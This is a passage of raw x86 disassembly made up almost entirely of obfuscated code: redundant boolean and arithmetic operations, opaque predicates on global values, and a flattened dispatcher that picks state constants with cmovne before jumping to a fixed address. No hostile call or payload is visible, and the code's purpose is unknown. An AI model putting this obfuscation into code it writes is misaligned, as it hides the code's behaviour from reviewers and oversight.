or ah, dh
xor ch, ah
mov bl, 1
xor bl, 1
xor ch, 0xff
mov ah, 1
xor ah, 1
or bl, ch
or ah, 1
xor bl, 0xff
and bl, ah
mov ch, 1
xor ch, 1
and ch, 0
mov dh, 1
xor dh, 0
mov bh, dh
and bh, 1
mov ah, 1
xor ah, 1
and ah, 0
and dh, 1
or ch, bh
or ah, dh
xor ch, ah
xor al, 0xff
mov dh, ch
xor dh, 0xff
mov ah, 1
xor ah, 0
or al, dh
or ah, 0
xor al, 0xff
and al, ah
mov ah, dl
xor ah, 0xff
and ah, 1
mov bh, 1
xor bh, 1
mov dh, dl
and dh, bh
or ah, dh
mov dh, 1
xor dh, 1
mov bh, ah
xor bh, dh
and bh, ah
xor dl, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 0
or dl, ch
or ah, 0
xor dl, 0xff
and dl, ah
mov byte [ebp - 0xb0d], dl
mov dl, bl
xor dl, 0xff
mov ch, al
xor ch, 0xff
mov ah, 1
xor ah, 1
mov dh, dl
and dh, 0xff
and bl, ah
mov byte [ebp - 0xb0f], bl
mov bl, ch
and bl, 0xff
and al, ah
mov byte [ebp - 0xb0e], al
mov al, byte [ebp - 0xb0f]
or dh, al
mov al, byte [ebp - 0xb0e]
or bl, al
mov al, byte [ebp - 0xb0d]
xor dh, bl
or dl, ch
xor dl, 0xff
or ah, 1
and dl, ah
or dh, dl
mov dl, bh
xor dl, 0xff
mov bl, al
xor bl, 0xff
mov ah, 1
xor ah, 0
mov ch, dl
and ch, 0
and bh, ah
mov byte [ebp - 0xb0c], bh
mov bh, bl
and bh, 0
and al, ah
mov byte [ebp - 0xb0b], al
mov al, byte [ebp - 0xb0c]
or ch, al
mov al, byte [ebp - 0xb0b]
or bh, al
mov al, byte [ebp - 0xb0a]
xor ch, bh
or dl, bl
xor dl, 0xff
or ah, 0
and dl, ah
or ch, dl
mov dl, dh
xor dl, 0xff
and dl, 0
mov bl, 1
xor bl, 0
and dh, bl
mov ah, ch
xor ah, 0xff
and ah, 0
and ch, bl
or dl, dh
or ah, ch
xor dl, ah
mov ah, cl
xor ah, 0xff
mov bl, al
xor bl, ah
and bl, al
mov ah, al
xor ah, 0xff
mov dh, cl
and dh, ah
xor cl, 0xff
and al, cl
or dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov bh, al
and bh, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or bh, bl
or ch, dh
xor bh, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or bh, al
mov ah, bh
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov al, bh
and al, cl
or ah, al
mov cl, 1
xor cl, 1
xor ah, 0xff
mov al, 1
xor al, 1
or cl, ah
or al, 1
xor cl, 0xff
and cl, al
mov ah, 1
xor ah, 1
and ah, 0
mov ch, 1
xor ch, 0
mov dh, ch
and dh, 1
mov al, 1
xor al, 1
and al, 0
and ch, 1
or ah, dh
or al, ch
xor ah, al
xor bh, 0xff
xor ah, 0xff
mov al, 1
xor al, 0
or bh, ah
or al, 0
xor bh, 0xff
and bh, al
mov al, cl
xor al, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
mov ah, al
and ah, 0
and cl, ch
mov bl, dh
and bl, 0
and bh, ch
or ah, cl
mov cl, byte [ebp - 0xb09]
or bl, bh
xor ah, bl
or al, dh
xor al, 0xff
or ch, 0
and al, ch
or ah, al
mov al, 1
xor al, 1
mov dh, cl
xor dh, 0xff
mov ch, 1
xor ch, 1
or al, dh
or ch, 1
xor al, 0xff
and al, ch
mov ch, 1
xor ch, 1
mov bh, cl
and bh, ch
xor cl, 0xff
and cl, 1
or bh, cl
mov dh, al
xor dh, 0xff
mov byte [ebp - 0xb08], dh
mov ch, bh
xor ch, 0xff
mov cl, 1
xor cl, 1
and dh, 0xff
and al, cl
mov bl, ch
and bl, 0xff
and bh, cl
or dh, al
mov al, byte [ebp - 0xb08]
or bl, bh
xor dh, bl
or al, ch
xor al, 0xff
or cl, 1
and al, cl
or dh, al
mov ch, dh
xor ch, 0xff
and ch, 0
mov cl, 1
xor cl, 0
and dh, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ch, dh
or al, cl
xor ch, al
mov cl, ah
xor cl, 0xff
mov al, ch
and al, cl
xor ch, 0xff
mov cl, ah
and cl, ch
or al, cl
xor ah, 0xff
mov cl, al
xor cl, ah
and cl, al
mov bl, dl
xor bl, 0xff
mov ah, cl
xor ah, 0xff
mov al, 1
xor al, 1
or bl, ah
or al, 1
xor bl, 0xff
and bl, al
mov dh, dl
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
and dl, ah
mov al, cl
xor al, 0xff
and al, 0xff
and cl, ah
or dh, dl
or al, cl
xor dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd57517fc
mov ecx, 0x194e123c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ec], eax
jmp 0x48b820
mov ecx, dword [0x5e6bac]
mov eax, dword [0x5e6ba8]
mov esi, 0xd552e88d
add esi, 0
sub esi, 1
sub esi, 0xd552e88d
xor edx, edx
sub edx, 0xd25083d3
add edx, esi
add edx, 0xd25083d3
xor esi, esi
sub esi, edx
add esi, 0
mov edx, ecx
add edx, 0x5658e9e4
sub edx, esi
sub edx, 0x5658e9e4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dh
cmp eax, 0xa
setl dl
mov ah, dh
xor ah, 0xff
and ah, 0
mov cl, 1
xor cl, 0
mov ch, dh
and ch, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ah, ch
or al, cl
xor ah, al
mov al, 1
xor al, 1
xor ah, 0xff
mov cl, 1
xor cl, 0
or al, ah
or cl, 0
xor al, 0xff
and al, cl
mov ah, 1
xor ah, 1
and ah, 1
mov ch, 1
xor ch, 1
mov bl, ch
and bl, 1
mov cl, 1
xor cl, 1
and cl, 0xff
and ch, 1
or ah, bl
or cl, ch
xor ah, cl
mov bh, dh
xor bh, 0xff
xor ah, 0xff
mov cl, 1
xor cl, 1
or bh, ah
or cl, 1
xor bh, 0xff
and bh, cl
mov ch, al
xor ch, 0xff
mov byte [ebp - 0xbfa], ch
mov ah, bh
xor ah, 0xff
mov cl, 1
xor cl, 0
and ch, 0
and al, cl
mov bl, ah
and bl, 0
and bh, cl
or ch, al
mov al, byte [ebp - 0xbfa]
or bl, bh
xor ch, bl
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or ch, al
mov al, dl
xor al, 0xff
and al, 0
mov ah, 1
xor ah, 0
mov bl, dl
and bl, ah
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or al, bl
or cl, ah
xor al, cl
xor al, 0xff
xor al, 0
and al, 0
mov byte [ebp - 0xbf9], al
mov bl, 1
xor bl, 0
and bl, 1
mov cl, 1
xor cl, 1
mov ah, cl
and ah, 0
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or bl, ah
or al, cl
xor bl, al
mov cl, bl
xor cl, 0xff
mov al, dl
xor al, cl
and al, dl
mov byte [ebp - 0xbf8], al
mov al, 1
xor al, 1
and al, 0
mov bh, 1
xor bh, 0
mov cl, bh
and cl, 1
mov ah, 1
xor ah, 1
and ah, 0
and bh, 1
or al, cl
mov cl, byte [ebp - 0xbf9]
or ah, bh
xor al, ah
mov bh, 1
xor bh, 0
mov ah, al
xor ah, bh
mov bh, byte [ebp - 0xbf8]
and ah, al
xor bl, 0xff
xor bl, 1
and bl, 0xff
mov al, cl
xor al, 0xff
mov byte [ebp - 0xbf3], al
xor bh, 0xff
mov byte [ebp - 0xbf2], bh
mov bh, 1
xor bh, 1
and al, 0xff
mov byte [ebp - 0xbf7], al
mov al, byte [ebp - 0xbf2]
and cl, bh
and al, 0xff
mov byte [ebp - 0xbf6], al
mov al, byte [ebp - 0xbf8]
and al, bh
mov byte [ebp - 0xbf5], al
mov al, byte [ebp - 0xbf7]
or al, cl
mov cl, byte [ebp - 0xbf6]
mov byte [ebp - 0xbf4], al
mov al, byte [ebp - 0xbf5]
or cl, al
mov al, byte [ebp - 0xbf4]
xor al, cl
mov cl, byte [ebp - 0xbf3]
mov byte [ebp - 0xbf1], al
mov al, byte [ebp - 0xbf2]
or cl, al
mov al, byte [ebp - 0xbf1]
xor cl, 0xff
or bh, 1
and cl, bh
or al, cl
mov cl, ah
and cl, bl
xor ah, bl
or cl, ah
mov bl, al
xor bl, 0xff
mov ah, cl
and ah, bl
xor cl, 0xff
and al, cl
or ah, al
mov cl, 1
xor cl, 1
and cl, 1
mov al, 1
xor al, 1
and al, 1
or cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov bl, 1
xor bl, 1
and bl, 1
mov al, 1
xor al, 1
and al, 1
or bl, al
mov bh, 1
xor bh, 1
xor bl, 0xff
mov al, 1
xor al, 1
or bh, bl
or al, 1
xor bh, 0xff
and bh, al
mov byte [ebp - 0xbf0], bh
mov al, cl
xor al, 0xff
mov byte [ebp - 0xbeb], al
xor bh, 0xff
mov bl, 1
xor bl, 1
and al, 0xff
mov byte [ebp - 0xbef], al
and cl, bl
mov al, bh
and al, 0xff
mov byte [ebp - 0xbee], al
mov al, byte [ebp - 0xbf0]
and al, bl
mov byte [ebp - 0xbed], al
mov al, byte [ebp - 0xbef]
or al, cl
mov cl, byte [ebp - 0xbee]
mov byte [ebp - 0xbec], al
mov al, byte [ebp - 0xbed]
or cl, al
mov al, byte [ebp - 0xbec]
xor al, cl
mov cl, byte [ebp - 0xbeb]
or cl, bh
xor cl, 0xff
or bl, 1
and cl, bl
or al, cl
mov byte [ebp - 0xbb9], al
mov al, ch
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
mov cl, ch
and cl, bl
or al, cl
mov byte [ebp - 0xbea], al
mov al, 1
xor al, 1
and al, 1
mov bh, 1
xor bh, 1
mov cl, bh
and cl, 1
mov bl, 1
xor bl, 1
and bl, 0xff
and bh, 1
or al, cl
mov cl, byte [ebp - 0xbea]
or bl, bh
xor al, bl
mov byte [ebp - 0xbe9], al
mov bl, 1
xor bl, 0
and bl, 1
mov bh, 1
xor bh, 1
and bh, 0
or bl, bh
mov byte [ebp - 0xbe4], bl
mov bl, cl
xor bl, 0xff
xor al, 0xff
mov byte [ebp - 0xbe3], al
mov bh, 1
xor bh, 1
mov al, bl
and al, 0xff
mov byte [ebp - 0xbe8], al
mov al, byte [ebp - 0xbe3]
and cl, bh
and al, 0xff
mov byte [ebp - 0xbe7], al
mov al, byte [ebp - 0xbe9]
and al, bh
mov byte [ebp - 0xbe6], al
mov al, byte [ebp - 0xbe8]
or al, cl
mov cl, byte [ebp - 0xbe7]
mov byte [ebp - 0xbe5], al
mov al, byte [ebp - 0xbe6]
or cl, al
mov al, byte [ebp - 0xbe5]
xor al, cl
mov cl, byte [ebp - 0xbe4]
mov byte [ebp - 0xbe2], al
mov al, byte [ebp - 0xbe3]
or bl, al
mov al, byte [ebp - 0xbe2]
xor bl, 0xff
or bh, 1
and bl, bh
or al, bl
mov byte [ebp - 0xbdd], al
mov bl, 1
xor bl, 0
mov byte [ebp - 0xbdf], bl
mov al, cl
xor al, 0xff
mov byte [ebp - 0xbde], al
mov bh, 1
xor bh, 1
and bl, 0xff
mov al, bh
and al, 0
mov byte [ebp - 0xbe1], al
mov al, byte [ebp - 0xbde]
and al, 0xff
mov byte [ebp - 0xbe0], al
mov al, byte [ebp - 0xbe1]
and cl, bh
or bl, al
mov al, byte [ebp - 0xbe0]
or al, cl
mov cl, byte [ebp - 0xbdf]
xor bl, al
mov al, byte [ebp - 0xbde]
or cl, al
mov al, byte [ebp - 0xbdd]
xor cl, 0xff
or bh, 1
and cl, bh
or bl, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov bh, 1
xor bh, 1
and al, bh
mov bh, byte [ebp - 0xbb9]
or cl, al
xor bl, 0xff
mov al, cl
xor al, bl
and al, cl
mov byte [ebp - 0xbd4], al
mov bl, bh
xor bl, 0xff
and bl, 0
mov cl, 1
xor cl, 0
and bh, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or bl, bh
or al, cl
xor bl, al
mov al, dh
xor al, 0xff
and al, 0
mov byte [ebp - 0xbdc], al
mov al, 1
xor al, 0
mov bh, dh
and bh, al
mov cl, bl
xor cl, 0xff
and cl, 0
and bl, al
mov al, byte [ebp - 0xbdc]
or al, bh
or cl, bl
xor al, cl
xor al, 0xff
xor dh, 0xff
mov cl, 1
xor cl, 1
or al, dh
or cl, 1
xor al, 0xff
and al, cl
mov byte [ebp - 0xbd3], al
mov cl, ah
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
mov al, ah
and al, dh
or cl, al
mov bh, 1
xor bh, 1
and bh, 1
mov al, 1
xor al, 1
and al, 1
or bh, al
mov byte [ebp - 0xbdb], bh
mov al, 1
xor al, 0
and al, 1
mov dh, 1
xor dh, 1
and dh, 0
or al, dh
mov byte [ebp - 0xbd6], al
mov dh, cl
xor dh, 0xff
xor bh, 0xff
mov bl, 1
xor bl, 1
mov al, dh
and al, 0xff
mov byte [ebp - 0xbda], al
and cl, bl
mov al, bh
and al, 0xff
mov byte [ebp - 0xbd9], al
mov al, byte [ebp - 0xbdb]
and al, bl
mov byte [ebp - 0xbd8], al
mov al, byte [ebp - 0xbda]
or al, cl
mov cl, byte [ebp - 0xbd9]
mov byte [ebp - 0xbd7], al
mov al, byte [ebp - 0xbd8]
or cl, al
mov al, byte [ebp - 0xbd7]
xor al, cl
mov cl, byte [ebp - 0xbd6]
or dh, bh
xor dh, 0xff
or bl, 1
and dh, bl
or al, dh
mov dh, cl
and dh, 0
xor cl, 0
or dh, cl
mov cl, al
xor cl, 0xff
and cl, 0
mov bh, 1
xor bh, 0
and al, bh
mov bl, 1
xor bl, 1
and bl, 0
and bh, 1
or cl, al
mov al, byte [ebp - 0xbb9]
or bl, bh
xor cl, bl
xor dh, 0xff
mov bh, cl
xor bh, dh
and bh, cl
mov bl, al
xor bl, 0xff
and bl, 1
mov cl, 1
xor cl, 1
and al, cl
or bl, al
mov cl, dl
xor cl, 0xff
and cl, 0
mov al, 1
xor al, 0
mov dh, dl
and dh, al
mov byte [ebp - 0xbd5], dh
mov dh, bl
xor dh, 0xff
and dh, 0
and bl, al
mov al, byte [ebp - 0xbd5]
or cl, al
mov al, byte [ebp - 0xbd4]
or dh, bl
xor cl, dh
xor dl, 0xff
mov bl, cl
xor bl, dl
and bl, cl
mov cl, al
xor cl, 0xff
and cl, 0
mov dh, 1
xor dh, 0
and al, dh
mov dl, 1
xor dl, 1
and dl, 0
and dh, 1
or cl, al
mov al, byte [ebp - 0xbd3]
or dl, dh
xor cl, dl
mov byte [ebp - 0xbc2], cl
mov dl, al
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
and al, dh
or dl, al
mov al, 1
xor al, 1
and al, 1
mov dh, 1
xor dh, 1
and dh, 1
or al, dh
mov byte [ebp - 0xbc3], al
xor cl, 0xff
mov al, 1
xor al, 1
mov dh, 1
xor dh, 1
or cl, al
mov al, byte [ebp - 0xbd4]
or dh, 1
xor cl, 0xff
and cl, dh
mov dh, byte [ebp - 0xbc3]
mov byte [ebp - 0xbd0], cl
xor al, 0xff
xor dh, 0xff
mov cl, 1
xor cl, 1
or al, dh
or cl, 1
xor al, 0xff
and al, cl
mov byte [ebp - 0xbcf], al
mov dh, dl
xor dh, 0xff
mov al, 1
xor al, 1
mov cl, 1
xor cl, 1
or dh, al
mov al, byte [ebp - 0xbd3]
or cl, 1
xor dh, 0xff
and dh, cl
mov cl, byte [ebp - 0xbc3]
xor al, 0xff
mov byte [ebp - 0xbd2], al
xor cl, 0xff
mov al, 1
xor al, 1
mov byte [ebp - 0xbd1], al
mov al, byte [ebp - 0xbd2]
or al, cl
mov cl, byte [ebp - 0xbd1]
or cl, 1
xor al, 0xff
and al, cl
mov cl, byte [ebp - 0xbd0]
mov byte [ebp - 0xbc5], al
mov al, cl
xor al, 0xff
mov byte [ebp - 0xbc8], al
mov al, byte [ebp - 0xbcf]
xor al, 0xff
mov byte [ebp - 0xbc9], al
mov al, 1
xor al, 1
mov byte [ebp - 0xbc7], al
mov al, byte [ebp - 0xbc8]
and al, 0xff
mov byte [ebp - 0xbcd], al
mov al, byte [ebp - 0xbc7]
and cl, al
mov al, byte [ebp - 0xbcf]
mov byte [ebp - 0xbce], cl
mov cl, byte [ebp - 0xbc9]
and cl, 0xff
mov byte [ebp - 0xbcc], cl
mov cl, byte [ebp - 0xbc7]
and al, cl
mov cl, byte [ebp - 0xbce]
mov byte [ebp - 0xbcb], al
mov al, byte [ebp - 0xbcd]
or al, cl
mov cl, byte [ebp - 0xbcc]
mov byte [ebp - 0xbca], al
mov al, byte [ebp - 0xbcb]
or cl, al
mov al, byte [ebp - 0xbca]
xor al, cl
mov cl, byte [ebp - 0xbc9]
mov byte [ebp - 0xbc6], al
mov al, byte [ebp - 0xbc8]
or al, cl
mov cl, byte [ebp - 0xbc7]
xor al, 0xff
or cl, 1
and al, cl
mov cl, byte [ebp - 0xbc6]
or cl, al
mov al, byte [ebp - 0xbc5]
mov byte [ebp - 0xbc4], cl
mov cl, dh
and cl, al
xor dh, al
mov al, byte [ebp - 0xbc4]
or cl, dh
xor al, 0xff
mov dh, cl
and dh, al
mov al, byte [ebp - 0xbc4]
xor cl, 0xff
and al, cl
mov cl, byte [ebp - 0xbc3]
or dh, al
mov al, byte [ebp - 0xbc2]
mov byte [ebp - 0xbbf], dh
mov dh, al
and dh, dl
xor al, dl
or dh, al
mov dl, dh
xor dl, 0xff
and dl, 0
mov al, 1
xor al, 0
and dh, al
mov byte [ebp - 0xbc1], dh
mov dh, 1
xor dh, 1
and dh, 0
and al, 1
mov byte [ebp - 0xbc0], al
mov al, byte [ebp - 0xbc1]
or dl, al
mov al, byte [ebp - 0xbc0]
or dh, al
mov al, byte [ebp - 0xbbf]
xor dl, dh
mov dh, cl
and dh, 1
xor cl, 1
or dh, cl
xor dl, 0xff
xor dh, 0xff
mov cl, 1
xor cl, 0
or dl, dh
or cl, 0
xor dl, 0xff
and dl, cl
mov cl, al
and cl, dl
xor al, dl
or cl, al
mov al, bl
xor al, 0xff
mov dl, bh
xor dl, al
and dl, bh
mov dh, bh
xor dh, 0xff
and dh, 1
mov al, 1
xor al, 1
mov byte [ebp - 0xbbe], al
and bh, al
mov al, bl
xor al, 0xff
and al, 0xff
mov byte [ebp - 0xbbd], al
mov al, byte [ebp - 0xbbe]
and bl, al
mov al, byte [ebp - 0xbbd]
or dh, bh
or al, bl
xor dh, al
mov al, dl
and al, dh
xor dl, dh
or al, dl
mov byte [ebp - 0xbba], al
mov dl, cl
xor dl, 0xff
and dl, 0
mov bl, 1
xor bl, 0
mov bh, cl
and bh, bl
mov dh, 1
xor dh, 1
and dh, 0
and bl, 1
or dl, bh
or dh, bl
xor dl, dh
xor dl, 0xff
xor dl, 0
and dl, 0
mov bh, 1
xor bh, 0
and bh, 1
mov dh, 1
xor dh, 1
and dh, 0
or bh, dh
mov dh, bh
xor dh, 0xff
mov bl, cl
xor bl, dh
and bl, cl
mov dh, al
xor dh, 0xff
and dh, 0
mov cl, 1
xor cl, 0
and al, cl
mov byte [ebp - 0xbbc], al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0xbbb], al
mov al, byte [ebp - 0xbbc]
and cl, 1
or dh, al
mov al, byte [ebp - 0xbbb]
or al, cl
xor dh, al
mov cl, 1
xor cl, 0
mov al, dh
xor al, cl
mov cl, byte [ebp - 0xbba]
and al, dh
xor bh, 0xff
mov dh, cl
xor dh, bh
and dh, cl
mov cl, dl
and cl, bl
xor dl, bl
or cl, dl
mov dl, al
and dl, dh
xor al, dh
or dl, al
mov dh, cl
xor dh, 0xff
mov al, dl
and al, dh
xor dl, 0xff
and cl, dl
or al, cl
mov dl, ah
xor dl, 0xff
mov cl, ch
xor cl, dl
and cl, ch
mov bh, ch
xor bh, 0xff
and bh, 0
mov dh, 1
xor dh, 0
and ch, dh
mov dl, ah
xor dl, 0xff
and dl, 0
and ah, dh
or bh, ch
or dl, ah
xor bh, dl
mov dl, cl
xor dl, 0xff
mov dh, bh
xor dh, 0xff
mov ah, 1
xor ah, 0
mov ch, dl
and ch, 0
and cl, ah
mov bl, dh
and bl, 0
and bh, ah
or ch, cl
mov cl, byte [ebp - 0xbb9]
or bl, bh
xor ch, bl
or dl, dh
xor dl, 0xff
or ah, 0
and dl, ah
or ch, dl
mov dh, ch
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
mov bl, ch
and bl, ah
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or dh, bl
or dl, ah
xor dh, dl
mov dl, 1
xor dl, 1
xor dh, 0xff
mov ah, 1
xor ah, 1
or dl, dh
or ah, 1
xor dl, 0xff
and dl, ah
mov dh, 1
xor dh, 1
and dh, 1
mov ah, 1
xor ah, 1
and ah, 1
or dh, ah
xor ch, 0xff
xor dh, 0xff
mov ah, 1
xor ah, 0
or ch, dh
or ah, 0
xor ch, 0xff
and ch, ah
mov ah, dl
and ah, ch
xor dl, ch
or ah, dl
mov dl, cl
xor dl, 0xff
xor dl, 1
and dl, 0xff
mov dh, 1
xor dh, 1
mov ch, cl
and ch, dh
xor cl, 0xff
and cl, 1
or ch, cl
mov cl, dl
and cl, ch
xor dl, ch
or cl, dl
mov ch, cl
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
and cl, dl
or ch, cl
mov dl, ah
xor dl, 0xff
and dl, 0
mov bl, 1
xor bl, 0
mov dh, ah
and dh, bl
mov cl, ch
xor cl, 0xff
and cl, 0
and ch, bl
or dl, dh
or cl, ch
xor dl, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov dl, cl
xor dl, 0xff
mov bl, al
xor bl, dl
and bl, al
mov dl, al
xor dl, 0xff
mov dh, cl
and dh, dl
xor cl, 0xff
and al, cl
or dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5280f2cb
mov ecx, 0x85b41068
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ec], eax
jmp 0x48b820
mov eax, dword [ebp - 0x184]
mov dword [eax], 4
mov ecx, dword [0x5e6bac]
mov eax, dword [0x5e6ba8]
xor edx, edx
sub edx, 0x47eca06c
xor esi, esi
sub esi, edx
sub esi, 0x6b66b60c
sub esi, 1
add esi, 0x6b66b60c
add esi, 0x1991916c
sub esi, 0x47eca06c
sub esi, 0x1991916c
mov edx, 0xa675d5d0
add edx, 0
sub edx, esi
sub edx, 0xa675d5d0
xor esi, esi
sub esi, edx
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl al
mov byte [ebp - 0xc25], al
mov dl, bl
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov al, bl
and al, cl
or dl, al
mov al, 1
xor al, 1
xor dl, 0xff
mov cl, 1
xor cl, 0
or al, dl
or cl, 0
xor al, 0xff
and al, cl
mov dl, 1
xor dl, 1
and dl, 1
mov cl, 1
xor cl, 1
and cl, 1
or dl, cl
mov bh, bl
xor bh, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 1
or bh, dl
or cl, 1
xor bh, 0xff
and bh, cl
mov dl, al
xor dl, 0xff
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 0
mov cl, dl
and cl, 0
and al, ah
mov dh, ch
and dh, 0
and bh, ah
or cl, al
mov al, byte [ebp - 0xc25]
or dh, bh
xor cl, dh
or dl, ch
xor dl, 0xff
or ah, 0
and dl, ah
or cl, dl
mov byte [ebp - 0xc12], cl
mov dl, al
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov ch, al
and ch, ah
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or dl, ch
or cl, ah
xor dl, cl
mov ah, 1
xor ah, 0
xor dl, 0xff
mov cl, 1
xor cl, 1
or ah, dl
or cl, 1
xor ah, 0xff
and ah, cl
mov dl, 1
xor dl, 0
and dl, 0
mov ch, 1
xor ch, 0
mov dh, ch
and dh, 0
mov cl, 1
xor cl, 1
and cl, 0
and ch, 1
or dl, dh
or cl, ch
xor dl, cl
xor al, 0xff
mov ch, dl
xor ch, 0xff
mov cl, 1
xor cl, 1
or al, ch
or cl, 1
xor al, 0xff
and al, cl
mov ch, 1
xor ch, 1
and ch, 1
mov dh, 1
xor dh, 1
mov bh, dh
and bh, 1
mov cl, 1
xor cl, 1
and cl, 0xff
and dh, 1
or ch, bh
or cl, dh
xor ch, cl
mov dh, 1
xor dh, 0
mov cl, ch
xor cl, dh
and cl, ch
mov byte [ebp - 0xc2a], cl
mov ch, 1
xor ch, 1
xor dl, 0xff
mov cl, 1
xor cl, 0
or ch, dl
or cl, 0
xor ch, 0xff
and ch, cl
mov cl, ah
xor cl, 0xff
mov bh, al
xor bh, 0xff
mov dh, 1
xor dh, 1
mov dl, cl
and dl, 0xff
and ah, dh
mov byte [ebp - 0xc2c], ah
mov ah, bh
and ah, 0xff
and al, dh
mov byte [ebp - 0xc2b], al
mov al, byte [ebp - 0xc2c]
or dl, al
mov al, byte [ebp - 0xc2b]
or ah, al
mov al, byte [ebp - 0xc2a]
xor dl, ah
mov ah, byte [ebp - 0xc12]
or cl, bh
xor cl, 0xff
or dh, 1
and cl, dh
or dl, cl
mov cl, al
and cl, ch
xor al, ch
or cl, al
mov ch, dl
xor ch, 0xff
and ch, 0
mov dh, 1
xor dh, 0
and dl, dh
mov al, cl
xor al, 0xff
and al, 0
and cl, dh
or ch, dl
or al, cl
xor ch, al
mov cl, 1
xor cl, 1
and cl, 0
mov dl, 1
xor dl, 0
mov dh, dl
and dh, 1
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, dh
or al, dl
xor cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov dl, 1
xor dl, 1
and dl, 1
mov dh, 1
xor dh, 1
mov bh, dh
and bh, 1
mov al, 1
xor al, 1
and al, 0xff
and dh, 1
or dl, bh
or al, dh
xor dl, al
xor dl, 0xff
xor dl, 1
and dl, 0xff
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov byte [ebp - 0xc07], al
mov al, ah
xor al, 0xff
and al, 0
mov dl, 1
xor dl, 0
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or al, ah
or cl, dl
xor al, cl
mov cl, 1
xor cl, 1
and cl, 1
mov ah, 1
xor ah, 1
mov dh, ah
and dh, 1
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or cl, dh
or dl, ah
xor cl, dl
mov dl, 1
xor dl, 1
and dl, 1
mov dh, 1
xor dh, 1
mov bh, dh
and bh, 1
mov ah, 1
xor ah, 1
and ah, 0xff
and dh, 1
or dl, bh
or ah, dh
xor dl, ah
mov byte [ebp - 0xc27], dl
mov ah, al
xor ah, 0xff
mov bh, cl
xor bh, 0xff
mov dh, 1
xor dh, 1
mov dl, ah
and dl, 0xff
and al, dh
mov byte [ebp - 0xc29], al
mov al, bh
and al, 0xff
mov byte [ebp - 0xc28], al
mov al, byte [ebp - 0xc29]
and cl, dh
or dl, al
mov al, byte [ebp - 0xc28]
or al, cl
mov cl, byte [ebp - 0xc27]
xor dl, al
mov al, byte [ebp - 0xc07]
or ah, bh
xor ah, 0xff
or dh, 1
and ah, dh
or dl, ah
mov ah, cl
and ah, 1
xor cl, 1
or ah, cl
mov cl, dl
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and dl, dh
or cl, dl
xor ah, 0xff
mov dl, cl
xor dl, ah
and dl, cl
mov cl, bl
xor cl, 0xff
and cl, 0
mov dh, 1
xor dh, 0
and bl, dh
mov ah, 1
xor ah, 1
and ah, 0
and dh, 1
or cl, bl
or ah, dh
xor cl, ah
mov ah, al
xor ah, 0xff
and ah, 1
mov dh, 1
xor dh, 1
and al, dh
or ah, al
mov al, 1
xor al, 0
and al, 1
mov dh, 1
xor dh, 1
and dh, 0
or al, dh
mov bl, cl
and bl, ah
xor cl, ah
or bl, cl
mov cl, al
and cl, 0
xor al, 0
or cl, al
mov dh, bl
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
and bl, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or dh, bl
or al, ah
xor dh, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or dh, cl
or al, 0
xor dh, 0xff
and dh, al
mov bl, 1
xor bl, 1
and bl, 0
mov cl, 1
xor cl, 0
mov ah, cl
and ah, 1
mov al, 1
xor al, 1
and al, 0
and cl, 1
or bl, ah
or al, cl
xor bl, al
mov al, ch
xor al, 0xff
and al, 1
mov cl, 1
xor cl, 1
mov bh, ch
and bh, cl
mov ah, bl
xor ah, 0xff
and ah, 0xff
and bl, cl
mov cl, byte [ebp - 0xc07]
or al, bh
or ah, bl
xor al, ah
mov ah, ch
xor ah, 0xff
mov bl, al
xor bl, ah
and bl, al
mov bh, cl
xor bh, 0xff
and bh, 1
mov ah, 1
xor ah, 1
and cl, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or bh, cl
